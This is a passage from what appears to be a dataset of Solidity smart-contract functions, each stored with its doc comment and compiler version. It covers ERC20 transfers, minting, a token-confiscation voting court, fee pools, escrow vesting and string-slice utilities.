ecrecover(hash, v, r, s);\r\n\r\n if (signaturesigner != _addressArgs[1]){\r\n return 0;\r\n }\r\n if (offerhashes[hashStruct]==true){\r\n return 1;\r\n }\r\n return 3;\r\n\r\n }", "version": "0.6.0"} {"comment": "/**\r\n * @dev transfer : Transfer token to another etherum address\r\n */", "function_code": "function transfer(address to, uint tokens) virtual override public returns (bool success) {\r\n require(to != address(0), \"Null address\"); \r\n require(tokens > 0, \"Invalid Value\");\r\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\r\n balances[to] = safeAdd(balances[to], tokens);\r\n emit Transfer(msg.sender, to, tokens);\r\n return true;\r\n }", "version": "0.6.0"} {"comment": "/**\r\n * @dev transferFrom : Transfer token after approval \r\n */", "function_code": "function transferFrom(address from, address to, uint tokens) virtual override public returns (bool success) {\r\n require(to != address(0), \"Null address\");\r\n require(from != address(0), \"Null address\");\r\n require(tokens > 0, \"Invalid value\"); \r\n require(tokens <= balances[from], \"Insufficient balance\");\r\n require(tokens <= allowed[from][msg.sender], \"Insufficient allowance\");\r\n balances[from] = safeSub(balances[from], tokens);\r\n allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);\r\n balances[to] = safeAdd(balances[to], tokens);\r\n emit Transfer(from, to, tokens);\r\n return true;\r\n }", "version": "0.6.0"} {"comment": "/**\r\n * @dev mint : To increase total supply of tokens\r\n */", "function_code": "function mint(uint256 _amount) public returns (bool) {\r\n require(_amount >= 0, \"Invalid amount\");\r\n require(owner == msg.sender, \"UnAuthorized\");\r\n _totalSupply = safeAdd(_totalSupply, _amount);\r\n balances[owner] = safeAdd(balances[owner], _amount);\r\n emit Transfer(address(0), owner, _amount);\r\n return true;\r\n }", "version": "0.6.0"} {"comment": "/// @notice Withdraws the ether distributed to the sender.\n/// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0.", "function_code": "function _withdrawDividendOfUser(address payable user) internal returns (uint256) {\r\n uint256 _withdrawableDividend = withdrawableDividendOf(user);\r\n if (_withdrawableDividend > 0) {\r\n withdrawnDividends[user] = withdrawnDividends[user].add(_withdrawableDividend);\r\n emit DividendWithdrawn(user, _withdrawableDividend);\r\n (bool success,) = user.call{value: _withdrawableDividend, gas: 3000}(\"\");\r\n\r\n if(!success) {\r\n withdrawnDividends[user] = withdrawnDividends[user].sub(_withdrawableDividend);\r\n return 0;\r\n }\r\n\r\n return _withdrawableDividend;\r\n }\r\n\r\n return 0;\r\n }", "version": "0.8.7"} {"comment": "/* Return the result of multiplying x and y, throwing an exception in case of overflow.*/", "function_code": "function safeMul(uint x, uint y)\r\n pure\r\n internal\r\n returns (uint)\r\n {\r\n if (x == 0) {\r\n return 0;\r\n }\r\n uint p = x * y;\r\n require(p / x == y);\r\n return p;\r\n }", "version": "0.4.21"} {"comment": "/* Return the result of multiplying x and y, interpreting the operands as fixed-point\r\n * demicimals. Throws an exception in case of overflow. A unit factor is divided out\r\n * after the product of x and y is evaluated, so that product must be less than 2**256.\r\n * \r\n * Incidentally, the internal division always rounds down: we could have rounded to the nearest integer,\r\n * but then we would be spending a significant fraction of a cent (of order a microether\r\n * at present gas prices) in order to save less than one part in 0.5 * 10^18 per operation, if the operands\r\n * contain small enough fractional components. It would also marginally diminish the \r\n * domain this function is defined upon. \r\n */", "function_code": "function safeMul_dec(uint x, uint y)\r\n pure\r\n internal\r\n returns (uint)\r\n {\r\n // Divide by UNIT to remove the extra factor introduced by the product.\r\n // UNIT be 0.\r\n return safeMul(x, y) / UNIT;\r\n\r\n }", "version": "0.4.21"} {"comment": "/* Return the result of dividing x by y, throwing an exception if the divisor is zero. */", "function_code": "function safeDiv(uint x, uint y)\r\n pure\r\n internal\r\n returns (uint)\r\n {\r\n // Although a 0 denominator already throws an exception,\r\n // it is equivalent to a THROW operation, which consumes all gas.\r\n // A require statement emits REVERT instead, which remits remaining gas.\r\n require(y != 0);\r\n return x / y;\r\n }", "version": "0.4.21"} {"comment": "/* ========== SETTERS ========== */", "function_code": "function setMinStandingBalance(uint balance)\r\n external\r\n onlyOwner\r\n {\r\n // No requirement on the standing threshold here;\r\n // the foundation can set this value such that\r\n // anyone or no one can actually start a motion.\r\n minStandingBalance = balance;\r\n }", "version": "0.4.21"} {"comment": "/* There is a motion in progress on the specified\r\n * account, and votes are being accepted in that motion. */", "function_code": "function motionVoting(uint motionID)\r\n public\r\n view\r\n returns (bool)\r\n {\r\n // No need to check (startTime < now) as there is no way\r\n // to set future start times for votes.\r\n // These values are timestamps, they will not overflow\r\n // as they can only ever be initialised to relatively small values.\r\n return now < motionStartTime[motionID] + votingPeriod;\r\n }", "version": "0.4.21"} {"comment": "/* A vote on the target account has concluded, but the motion\r\n * has not yet been approved, vetoed, or closed. */", "function_code": "function motionConfirming(uint motionID)\r\n public\r\n view\r\n returns (bool)\r\n {\r\n // These values are timestamps, they will not overflow\r\n // as they can only ever be initialised to relatively small values.\r\n uint startTime = motionStartTime[motionID];\r\n return startTime + votingPeriod <= now &&\r\n now < startTime + votingPeriod + confirmationPeriod;\r\n }", "version": "0.4.21"} {"comment": "/* A vote motion either not begun, or it has completely terminated. */", "function_code": "function motionWaiting(uint motionID)\r\n public\r\n view\r\n returns (bool)\r\n {\r\n // These values are timestamps, they will not overflow\r\n // as they can only ever be initialised to relatively small values.\r\n return motionStartTime[motionID] + votingPeriod + confirmationPeriod <= now;\r\n }", "version": "0.4.21"} {"comment": "/* If the motion was to terminate at this instant, it would pass.\r\n * That is: there was sufficient participation and a sizeable enough majority. */", "function_code": "function motionPasses(uint motionID)\r\n public\r\n view\r\n returns (bool)\r\n {\r\n uint yeas = votesFor[motionID];\r\n uint nays = votesAgainst[motionID];\r\n uint totalVotes = safeAdd(yeas, nays);\r\n\r\n if (totalVotes == 0) {\r\n return false;\r\n }\r\n\r\n uint participation = safeDiv_dec(totalVotes, havven.totalSupply());\r\n uint fractionInFavour = safeDiv_dec(yeas, totalVotes);\r\n\r\n // We require the result to be strictly greater than the requirement\r\n // to enforce a majority being \"50% + 1\", and so on.\r\n return participation > requiredParticipation &&\r\n fractionInFavour > requiredMajority;\r\n }", "version": "0.4.21"} {"comment": "/* Begin a motion to confiscate the funds in a given nomin account.\r\n * Only the foundation, or accounts with sufficient havven balances\r\n * may elect to start such a motion.\r\n * Returns the ID of the motion that was begun. */", "function_code": "function beginMotion(address target)\r\n external\r\n returns (uint)\r\n {\r\n // A confiscation motion must be mooted by someone with standing.\r\n require((havven.balanceOf(msg.sender) >= minStandingBalance) ||\r\n msg.sender == owner);\r\n\r\n // Require that the voting period is longer than a single fee period,\r\n // So that a single vote can span at most two fee periods.\r\n require(votingPeriod <= havven.targetFeePeriodDurationSeconds());\r\n\r\n // There must be no confiscation motion already running for this account.\r\n require(targetMotionID[target] == 0);\r\n\r\n // Disallow votes on accounts that have previously been frozen.\r\n require(!nomin.frozen(target));\r\n\r\n uint motionID = nextMotionID++;\r\n motionTarget[motionID] = target;\r\n targetMotionID[target] = motionID;\r\n\r\n motionStartTime[motionID] = now;\r\n emit MotionBegun(msg.sender, msg.sender, target, target, motionID, motionID);\r\n\r\n return motionID;\r\n }", "version": "0.4.21"} {"comment": "/* Shared vote setup function between voteFor and voteAgainst.\r\n * Returns the voter's vote weight. */", "function_code": "function setupVote(uint motionID)\r\n internal\r\n returns (uint)\r\n {\r\n // There must be an active vote for this target running.\r\n // Vote totals must only change during the voting phase.\r\n require(motionVoting(motionID));\r\n\r\n // The voter must not have an active vote this motion.\r\n require(!hasVoted(msg.sender, motionID));\r\n\r\n // The voter may not cast votes on themselves.\r\n require(msg.sender != motionTarget[motionID]);\r\n\r\n // Ensure the voter's vote weight is current.\r\n havven.recomputeAccountLastAverageBalance(msg.sender);\r\n\r\n uint weight;\r\n // We use a fee period guaranteed to have terminated before\r\n // the start of the vote. Select the right period if\r\n // a fee period rolls over in the middle of the vote.\r\n if (motionStartTime[motionID] < havven.feePeriodStartTime()) {\r\n weight = havven.penultimateAverageBalance(msg.sender);\r\n } else {\r\n weight = havven.lastAverageBalance(msg.sender);\r\n }\r\n\r\n // Users must have a nonzero voting weight to vote.\r\n require(weight > 0);\r\n\r\n voteWeight[msg.sender][motionID] = weight;\r\n\r\n return weight;\r\n }", "version": "0.4.21"} {"comment": "/* Cancel an existing vote by the sender on a motion\r\n * to confiscate the target balance. */", "function_code": "function cancelVote(uint motionID)\r\n external\r\n {\r\n // An account may cancel its vote either before the confirmation phase\r\n // when the motion is still open, or after the confirmation phase,\r\n // when the motion has concluded.\r\n // But the totals must not change during the confirmation phase itself.\r\n require(!motionConfirming(motionID));\r\n\r\n Vote senderVote = vote[msg.sender][motionID];\r\n\r\n // If the sender has not voted then there is no need to update anything.\r\n require(senderVote != Vote.Abstention);\r\n\r\n // If we are not voting, there is no reason to update the vote totals.\r\n if (motionVoting(motionID)) {\r\n if (senderVote == Vote.Yea) {\r\n votesFor[motionID] = safeSub(votesFor[motionID], voteWeight[msg.sender][motionID]);\r\n } else {\r\n // Since we already ensured that the vote is not an abstention,\r\n // the only option remaining is Vote.Nay.\r\n votesAgainst[motionID] = safeSub(votesAgainst[motionID], voteWeight[msg.sender][motionID]);\r\n }\r\n // A cancelled vote is only meaningful if a vote is running\r\n emit VoteCancelled(msg.sender, msg.sender, motionID, motionID);\r\n }\r\n\r\n delete voteWeight[msg.sender][motionID];\r\n delete vote[msg.sender][motionID];\r\n }", "version": "0.4.21"} {"comment": "// Return the fee charged on top in order to transfer _value worth of tokens.", "function_code": "function transferFeeIncurred(uint value)\r\n public\r\n view\r\n returns (uint)\r\n {\r\n return safeMul_dec(value, transferFeeRate);\r\n // Transfers less than the reciprocal of transferFeeRate should be completely eaten up by fees.\r\n // This is on the basis that transfers less than this value will result in a nil fee.\r\n // Probably too insignificant to worry about, but the following code will achieve it.\r\n // if (fee == 0 && transferFeeRate != 0) {\r\n // return _value;\r\n // }\r\n // return fee;\r\n }", "version": "0.4.21"} {"comment": "/* Whatever calls this should have either the optionalProxy or onlyProxy modifier,\r\n * and pass in messageSender. */", "function_code": "function _transfer_byProxy(address sender, address to, uint value)\r\n internal\r\n returns (bool)\r\n {\r\n require(to != address(0));\r\n\r\n // The fee is deducted from the sender's balance, in addition to\r\n // the transferred quantity.\r\n uint fee = transferFeeIncurred(value);\r\n uint totalCharge = safeAdd(value, fee);\r\n\r\n // Insufficient balance will be handled by the safe subtraction.\r\n state.setBalanceOf(sender, safeSub(state.balanceOf(sender), totalCharge));\r\n state.setBalanceOf(to, safeAdd(state.balanceOf(to), value));\r\n state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), fee));\r\n\r\n emit Transfer(sender, to, value);\r\n emit TransferFeePaid(sender, fee);\r\n emit Transfer(sender, address(this), fee);\r\n\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/* Withdraw tokens from the fee pool into a given account. */", "function_code": "function withdrawFee(address account, uint value)\r\n external\r\n returns (bool)\r\n {\r\n require(msg.sender == feeAuthority && account != address(0));\r\n \r\n // 0-value withdrawals do nothing.\r\n if (value == 0) {\r\n return false;\r\n }\r\n\r\n // Safe subtraction ensures an exception is thrown if the balance is insufficient.\r\n state.setBalanceOf(address(this), safeSub(state.balanceOf(address(this)), value));\r\n state.setBalanceOf(account, safeAdd(state.balanceOf(account), value));\r\n\r\n emit FeesWithdrawn(account, account, value);\r\n emit Transfer(address(this), account, value);\r\n\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/* Donate tokens from the sender's balance into the fee pool. */", "function_code": "function donateToFeePool(uint n)\r\n external\r\n optionalProxy\r\n returns (bool)\r\n {\r\n address sender = messageSender;\r\n\r\n // Empty donations are disallowed.\r\n uint balance = state.balanceOf(sender);\r\n require(balance != 0);\r\n\r\n // safeSub ensures the donor has sufficient balance.\r\n state.setBalanceOf(sender, safeSub(balance, n));\r\n state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), n));\r\n\r\n emit FeesDonated(sender, sender, n);\r\n emit Transfer(sender, address(this), n);\r\n\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/* True if the contract is self-destructible. \r\n * This is true if either the complete liquidation period has elapsed,\r\n * or if all tokens have been returned to the contract and it has been\r\n * in liquidation for at least a week.\r\n * Since the contract is only destructible after the liquidationTimestamp,\r\n * a fortiori canSelfDestruct() implies isLiquidating(). */", "function_code": "function canSelfDestruct()\r\n public\r\n view\r\n returns (bool)\r\n {\r\n // Not being in liquidation implies the timestamp is uint max, so it would roll over.\r\n // We need to check whether we're in liquidation first.\r\n if (isLiquidating()) {\r\n // These timestamps and durations have values clamped within reasonable values and\r\n // cannot overflow.\r\n bool totalPeriodElapsed = liquidationTimestamp + liquidationPeriod < now;\r\n // Total supply of 0 means all tokens have returned to the pool.\r\n bool allTokensReturned = (liquidationTimestamp + 1 weeks < now) && (totalSupply == 0);\r\n return totalPeriodElapsed || allTokensReturned;\r\n }\r\n return false;\r\n }", "version": "0.4.21"} {"comment": "/* Update the current ether price and update the last updated time,\r\n * refreshing the price staleness.\r\n * Also checks whether the contract's collateral levels have fallen to low,\r\n * and initiates liquidation if that is the case.\r\n * Exceptional conditions:\r\n * Not called by the oracle.\r\n * Not the most recently sent price. */", "function_code": "function updatePrice(uint price, uint timeSent)\r\n external\r\n postCheckAutoLiquidate\r\n {\r\n // Should be callable only by the oracle.\r\n require(msg.sender == oracle);\r\n // Must be the most recently sent price, but not too far in the future.\r\n // (so we can't lock ourselves out of updating the oracle for longer than this)\r\n require(lastPriceUpdate < timeSent && timeSent < now + 10 minutes);\r\n\r\n etherPrice = price;\r\n lastPriceUpdate = timeSent;\r\n emit PriceUpdated(price);\r\n }", "version": "0.4.21"} {"comment": "/* Issues n nomins into the pool available to be bought by users.\r\n * Must be accompanied by $n worth of ether.\r\n * Exceptional conditions:\r\n * Not called by contract owner.\r\n * Insufficient backing funds provided (post-issuance collateralisation below minimum requirement).\r\n * Price is stale. */", "function_code": "function replenishPool(uint n)\r\n external\r\n payable\r\n notLiquidating\r\n optionalProxy_onlyOwner\r\n {\r\n // Price staleness check occurs inside the call to fiatBalance.\r\n // Safe additions are unnecessary here, as either the addition is checked on the following line\r\n // or the overflow would cause the requirement not to be satisfied.\r\n require(fiatBalance() >= safeMul_dec(safeAdd(_nominCap(), n), MINIMUM_ISSUANCE_RATIO));\r\n nominPool = safeAdd(nominPool, n);\r\n emit PoolReplenished(n, msg.value);\r\n }", "version": "0.4.21"} {"comment": "/* Sends n nomins to the sender from the pool, in exchange for\r\n * $n plus the fee worth of ether.\r\n * Exceptional conditions:\r\n * Insufficient or too many funds provided.\r\n * More nomins requested than are in the pool.\r\n * n below the purchase minimum (1 cent).\r\n * contract in liquidation.\r\n * Price is stale. */", "function_code": "function buy(uint n)\r\n external\r\n payable\r\n notLiquidating\r\n optionalProxy\r\n {\r\n // Price staleness check occurs inside the call to purchaseEtherCost.\r\n require(n >= MINIMUM_PURCHASE &&\r\n msg.value == purchaseCostEther(n));\r\n address sender = messageSender;\r\n // sub requires that nominPool >= n\r\n nominPool = safeSub(nominPool, n);\r\n state.setBalanceOf(sender, safeAdd(state.balanceOf(sender), n));\r\n emit Purchased(sender, sender, n, msg.value);\r\n emit Transfer(0, sender, n);\r\n totalSupply = safeAdd(totalSupply, n);\r\n }", "version": "0.4.21"} {"comment": "/* Sends n nomins to the pool from the sender, in exchange for\r\n * $n minus the fee worth of ether.\r\n * Exceptional conditions:\r\n * Insufficient nomins in sender's wallet.\r\n * Insufficient funds in the pool to pay sender.\r\n * Price is stale if not in liquidation. */", "function_code": "function sell(uint n)\r\n external\r\n optionalProxy\r\n {\r\n\r\n // Price staleness check occurs inside the call to saleProceedsEther,\r\n // but we allow people to sell their nomins back to the system\r\n // if we're in liquidation, regardless.\r\n uint proceeds;\r\n if (isLiquidating()) {\r\n proceeds = saleProceedsEtherAllowStale(n);\r\n } else {\r\n proceeds = saleProceedsEther(n);\r\n }\r\n\r\n require(address(this).balance >= proceeds);\r\n\r\n address sender = messageSender;\r\n // sub requires that the balance is greater than n\r\n state.setBalanceOf(sender, safeSub(state.balanceOf(sender), n));\r\n nominPool = safeAdd(nominPool, n);\r\n emit Sold(sender, sender, n, proceeds);\r\n emit Transfer(sender, 0, n);\r\n totalSupply = safeSub(totalSupply, n);\r\n sender.transfer(proceeds);\r\n }", "version": "0.4.21"} {"comment": "/* If a confiscation court motion has passed and reached the confirmation\r\n * state, the court may transfer the target account's balance to the fee pool\r\n * and freeze its participation in further transactions. */", "function_code": "function confiscateBalance(address target)\r\n external\r\n {\r\n // Should be callable only by the confiscation court.\r\n require(Court(msg.sender) == court);\r\n \r\n // A motion must actually be underway.\r\n uint motionID = court.targetMotionID(target);\r\n require(motionID != 0);\r\n\r\n // These checks are strictly unnecessary,\r\n // since they are already checked in the court contract itself.\r\n // I leave them in out of paranoia.\r\n require(court.motionConfirming(motionID));\r\n require(court.motionPasses(motionID));\r\n require(!frozen[target]);\r\n\r\n // Confiscate the balance in the account and freeze it.\r\n uint balance = state.balanceOf(target);\r\n state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), balance));\r\n state.setBalanceOf(target, 0);\r\n frozen[target] = true;\r\n emit AccountFrozen(target, target, balance);\r\n emit Transfer(target, address(this), balance);\r\n }", "version": "0.4.21"} {"comment": "/* Anything calling this must apply the onlyProxy or optionalProxy modifiers.*/", "function_code": "function _transfer_byProxy(address sender, address to, uint value)\r\n internal\r\n returns (bool)\r\n {\r\n require(to != address(0));\r\n\r\n // Insufficient balance will be handled by the safe subtraction.\r\n state.setBalanceOf(sender, safeSub(state.balanceOf(sender), value));\r\n state.setBalanceOf(to, safeAdd(state.balanceOf(to), value));\r\n\r\n emit Transfer(sender, to, value);\r\n\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/* Obtain the index of the next schedule entry that will vest for a given user. */", "function_code": "function getNextVestingIndex(address account)\r\n public\r\n view\r\n returns (uint)\r\n {\r\n uint len = numVestingEntries(account);\r\n for (uint i = 0; i < len; i++) {\r\n if (getVestingTime(account, i) != 0) {\r\n return i;\r\n }\r\n }\r\n return len;\r\n }", "version": "0.4.21"} {"comment": "/* Add a new vesting entry at a given time and quantity to an account's schedule.\r\n * A call to this should be accompanied by either enough balance already available\r\n * in this contract, or a corresponding call to havven.endow(), to ensure that when\r\n * the funds are withdrawn, there is enough balance, as well as correctly calculating\r\n * the fees.\r\n * Note; although this function could technically be used to produce unbounded\r\n * arrays, it's only in the foundation's command to add to these lists. */", "function_code": "function appendVestingEntry(address account, uint time, uint quantity)\r\n public\r\n onlyOwner\r\n setupFunction\r\n {\r\n // No empty or already-passed vesting entries allowed.\r\n require(now < time);\r\n require(quantity != 0);\r\n totalVestedBalance = safeAdd(totalVestedBalance, quantity);\r\n require(totalVestedBalance <= havven.balanceOf(this));\r\n\r\n if (vestingSchedules[account].length == 0) {\r\n totalVestedAccountBalance[account] = quantity;\r\n } else {\r\n // Disallow adding new vested havvens earlier than the last one.\r\n // Since entries are only appended, this means that no vesting date can be repeated.\r\n require(getVestingTime(account, numVestingEntries(account) - 1) < time);\r\n totalVestedAccountBalance[account] = safeAdd(totalVestedAccountBalance[account], quantity);\r\n }\r\n\r\n vestingSchedules[account].push([time, quantity]);\r\n }", "version": "0.4.21"} {"comment": "/* Allow a user to withdraw any tokens that have vested. */", "function_code": "function vest() \r\n external\r\n {\r\n uint total;\r\n for (uint i = 0; i < numVestingEntries(msg.sender); i++) {\r\n uint time = getVestingTime(msg.sender, i);\r\n // The list is sorted; when we reach the first future time, bail out.\r\n if (time > now) {\r\n break;\r\n }\r\n uint qty = getVestingQuantity(msg.sender, i);\r\n if (qty == 0) {\r\n continue;\r\n }\r\n\r\n vestingSchedules[msg.sender][i] = [0, 0];\r\n total = safeAdd(total, qty);\r\n totalVestedAccountBalance[msg.sender] = safeSub(totalVestedAccountBalance[msg.sender], qty);\r\n }\r\n\r\n if (total != 0) {\r\n totalVestedBalance = safeSub(totalVestedBalance, total);\r\n havven.transfer(msg.sender, total);\r\n emit Vested(msg.sender, msg.sender,\r\n now, total);\r\n }\r\n }", "version": "0.4.21"} {"comment": "/* Allow the owner of this contract to endow any address with havvens\r\n * from the initial supply. Since the entire initial supply resides\r\n * in the havven contract, this disallows the foundation from withdrawing\r\n * fees on undistributed balances. This function can also be used\r\n * to retrieve any havvens sent to the Havven contract itself. */", "function_code": "function endow(address account, uint value)\r\n external\r\n optionalProxy_onlyOwner\r\n returns (bool)\r\n {\r\n\r\n // Use \"this\" in order that the havven account is the sender.\r\n // That this is an explicit transfer also initialises fee entitlement information.\r\n return _transfer(this, account, value);\r\n }", "version": "0.4.21"} {"comment": "/* Override ERC20 transferFrom function in order to perform\r\n * fee entitlement recomputation whenever balances are updated. */", "function_code": "function transferFrom(address from, address to, uint value)\r\n external\r\n preCheckFeePeriodRollover\r\n optionalProxy\r\n returns (bool)\r\n {\r\n uint senderPreBalance = state.balanceOf(from);\r\n uint recipientPreBalance = state.balanceOf(to);\r\n\r\n // Perform the transfer: if there is a problem,\r\n // an exception will be thrown in this call.\r\n _transferFrom_byProxy(messageSender, from, to, value);\r\n\r\n // Zero-value transfers still update fee entitlement information,\r\n // and may roll over the fee period.\r\n adjustFeeEntitlement(from, senderPreBalance);\r\n adjustFeeEntitlement(to, recipientPreBalance);\r\n\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/* Compute the last period's fee entitlement for the message sender\r\n * and then deposit it into their nomin account. */", "function_code": "function withdrawFeeEntitlement()\r\n public\r\n preCheckFeePeriodRollover\r\n optionalProxy\r\n {\r\n address sender = messageSender;\r\n\r\n // Do not deposit fees into frozen accounts.\r\n require(!nomin.frozen(sender));\r\n\r\n // check the period has rolled over first\r\n rolloverFee(sender, lastTransferTimestamp[sender], state.balanceOf(sender));\r\n\r\n // Only allow accounts to withdraw fees once per period.\r\n require(!hasWithdrawnLastPeriodFees[sender]);\r\n\r\n uint feesOwed;\r\n\r\n if (escrow != HavvenEscrow(0)) {\r\n feesOwed = escrow.totalVestedAccountBalance(sender);\r\n }\r\n\r\n feesOwed = safeDiv_dec(safeMul_dec(safeAdd(feesOwed, lastAverageBalance[sender]),\r\n lastFeesCollected),\r\n totalSupply);\r\n\r\n hasWithdrawnLastPeriodFees[sender] = true;\r\n if (feesOwed != 0) {\r\n nomin.withdrawFee(sender, feesOwed);\r\n emit FeesWithdrawn(sender, sender, feesOwed);\r\n }\r\n }", "version": "0.4.21"} {"comment": "/* Update the fee entitlement since the last transfer or entitlement\r\n * adjustment. Since this updates the last transfer timestamp, if invoked\r\n * consecutively, this function will do nothing after the first call. */", "function_code": "function adjustFeeEntitlement(address account, uint preBalance)\r\n internal\r\n {\r\n // The time since the last transfer clamps at the last fee rollover time if the last transfer\r\n // was earlier than that.\r\n rolloverFee(account, lastTransferTimestamp[account], preBalance);\r\n\r\n currentBalanceSum[account] = safeAdd(\r\n currentBalanceSum[account],\r\n safeMul(preBalance, now - lastTransferTimestamp[account])\r\n );\r\n\r\n // Update the last time this user's balance changed.\r\n lastTransferTimestamp[account] = now;\r\n }", "version": "0.4.21"} {"comment": "/* If the fee period has rolled over, then\r\n * save the start times of the last fee period,\r\n * as well as the penultimate fee period.\r\n */", "function_code": "function checkFeePeriodRollover()\r\n internal\r\n {\r\n // If the fee period has rolled over...\r\n if (feePeriodStartTime + targetFeePeriodDurationSeconds <= now) {\r\n lastFeesCollected = nomin.feePool();\r\n\r\n // Shift the three period start times back one place\r\n penultimateFeePeriodStartTime = lastFeePeriodStartTime;\r\n lastFeePeriodStartTime = feePeriodStartTime;\r\n feePeriodStartTime = now;\r\n \r\n emit FeePeriodRollover(now);\r\n }\r\n }", "version": "0.4.21"} {"comment": "//Event on blockchain which notify client\n//===================events definition end==================\n//===================Contract Initialization Sequence Definition start===================", "function_code": "function FloodDragon (\r\n uint256 initialSupply,\r\n string tokenName,\r\n string tokenSymbol\r\n ) public {\r\n totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount\r\n balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens\r\n name = tokenName; // Set the name for display purposes\r\n symbol = tokenSymbol; // Set the symbol for display purposes\r\n \r\n }", "version": "0.4.19"} {"comment": "/*\r\n \t*\tFuntion: Transfer funtions\r\n \t*\tType:Internal\r\n \t*\tParameters:\r\n \t\t\t@_from:\taddress of sender's account\r\n \t\t\t@_to:\taddress of recipient's account\r\n \t\t\t@_value:transaction amount\r\n \t*/", "function_code": "function _transfer(address _from, address _to, uint _value) internal {\r\n\t\t//Fault-tolerant processing\r\n\t\trequire(_to != 0x0);\t\t\t\t\t\t//\r\n require(balanceOf[_from] >= _value);\r\n require(balanceOf[_to] + _value > balanceOf[_to]);\r\n\r\n //Execute transaction\r\n\t\tuint previousBalances = balanceOf[_from] + balanceOf[_to];\r\n balanceOf[_from] -= _value;\r\n balanceOf[_to] += _value;\r\n Transfer(_from, _to, _value);\r\n\t\t\r\n\t\t//Verify transaction\r\n assert(balanceOf[_from] + balanceOf[_to] == previousBalances);\r\n }", "version": "0.4.19"} {"comment": "//@return 1~6", "function_code": "function getOccupationType(uint256 tokenId) public view returns (uint256) {\r\n uint256 rand = random(string(abi.encodePacked(\"Occupation\", toString(tokenId))));\r\n uint256 score = rand % 100;\r\n\r\n uint i = 0;\r\n for(; i < roleScoreMatch.length; i++){\r\n if(score <= roleScoreMatch[i]){\r\n break;\r\n }\r\n }\r\n return i+1;\r\n }", "version": "0.8.8"} {"comment": "/*\r\n * @dev Returns the length of a null-terminated bytes32 string.\r\n * @param self The value to find the length of.\r\n * @return The length of the string, from 0 to 32.\r\n */", "function_code": "function len(bytes32 self) internal pure returns (uint) {\r\n uint ret;\r\n if (self == 0)\r\n return 0;\r\n if (uint256(self) & 0xffffffffffffffffffffffffffffffff == 0) {\r\n ret += 16;\r\n self = bytes32(uint(self) / 0x100000000000000000000000000000000);\r\n }\r\n if (uint256(self) & 0xffffffffffffffff == 0) {\r\n ret += 8;\r\n self = bytes32(uint(self) / 0x10000000000000000);\r\n }\r\n if (uint256(self) & 0xffffffff == 0) {\r\n ret += 4;\r\n self = bytes32(uint(self) / 0x100000000);\r\n }\r\n if (uint256(self) & 0xffff == 0) {\r\n ret += 2;\r\n self = bytes32(uint(self) / 0x10000);\r\n }\r\n if (uint256(self) & 0xff == 0) {\r\n ret += 1;\r\n }\r\n return 32 - ret;\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Returns a slice containing the entire bytes32, interpreted as a\r\n * null-terminated utf-8 string.\r\n * @param self The bytes32 value to convert to a slice.\r\n * @return A new slice containing the value of the input argument up to the\r\n * first null.\r\n */", "function_code": "function toSliceB32(bytes32 self) internal pure returns (slice memory ret) {\r\n // Allocate space for `self` in memory, copy it there, and point ret at it\r\n assembly {\r\n let ptr := mload(0x40)\r\n mstore(0x40, add(ptr, 0x20))\r\n mstore(ptr, self)\r\n mstore(add(ret, 0x20), ptr)\r\n }\r\n ret._len = len(self);\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Copies a slice to a new string.\r\n * @param self The slice to copy.\r\n * @return A newly allocated string containing the slice's text.\r\n */", "function_code": "function toString(slice memory self) internal pure returns (string memory) {\r\n string memory ret = new string(self._len);\r\n uint retptr;\r\n assembly { retptr := add(ret, 32) }\r\n\r\n memcpy(retptr, self._ptr, self._len);\r\n return ret;\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Returns the length in runes of the slice. Note that this operation\r\n * takes time proportional to the length of the slice; avoid using it\r\n * in loops, and call `slice.empty()` if you only need to know whether\r\n * the slice is empty or not.\r\n * @param self The slice to operate on.\r\n * @return The length of the slice in runes.\r\n */", "function_code": "function len(slice memory self) internal pure returns (uint l) {\r\n // Starting at ptr-31 means the LSB will be the byte we care about\r\n uint ptr = self._ptr - 31;\r\n uint end = ptr + self._len;\r\n for (l = 0; ptr < end; l++) {\r\n uint8 b;\r\n assembly { b := and(mload(ptr), 0xFF) }\r\n if (b < 0x80) {\r\n ptr += 1;\r\n } else if(b < 0xE0) {\r\n ptr += 2;\r\n } else if(b < 0xF0) {\r\n ptr += 3;\r\n } else if(b < 0xF8) {\r\n ptr += 4;\r\n } else if(b < 0xFC) {\r\n ptr += 5;\r\n } else {\r\n ptr += 6;\r\n }\r\n }\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Returns a positive number if `other` comes lexicographically after\r\n * `self`, a negative number if it comes before, or zero if the\r\n * contents of the two slices are equal. Comparison is done per-rune,\r\n * on unicode codepoints.\r\n * @param self The first slice to compare.\r\n * @param other The second slice to compare.\r\n * @return The result of the comparison.\r\n */", "function_code": "function compare(slice memory self, slice memory other) internal pure returns (int) {\r\n uint shortest = self._len;\r\n if (other._len < self._len)\r\n shortest = other._len;\r\n\r\n uint selfptr = self._ptr;\r\n uint otherptr = other._ptr;\r\n for (uint idx = 0; idx < shortest; idx += 32) {\r\n uint a;\r\n uint b;\r\n assembly {\r\n a := mload(selfptr)\r\n b := mload(otherptr)\r\n }\r\n if (a != b) {\r\n // Mask out irrelevant bytes and check again\r\n uint256 mask = uint256(-1); // 0xffff...\r\n if(shortest < 32) {\r\n mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);\r\n }\r\n uint256 diff = (a & mask) - (b & mask);\r\n if (diff != 0)\r\n return int(diff);\r\n }\r\n selfptr += 32;\r\n otherptr += 32;\r\n }\r\n return int(self._len) - int(other._len);\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Extracts the first rune in the slice into `rune`, advancing the\r\n * slice to point to the next rune and returning `self`.\r\n * @param self The slice to operate on.\r\n * @param rune The slice that will contain the first rune.\r\n * @return `rune`.\r\n */", "function_code": "function nextRune(slice memory self, 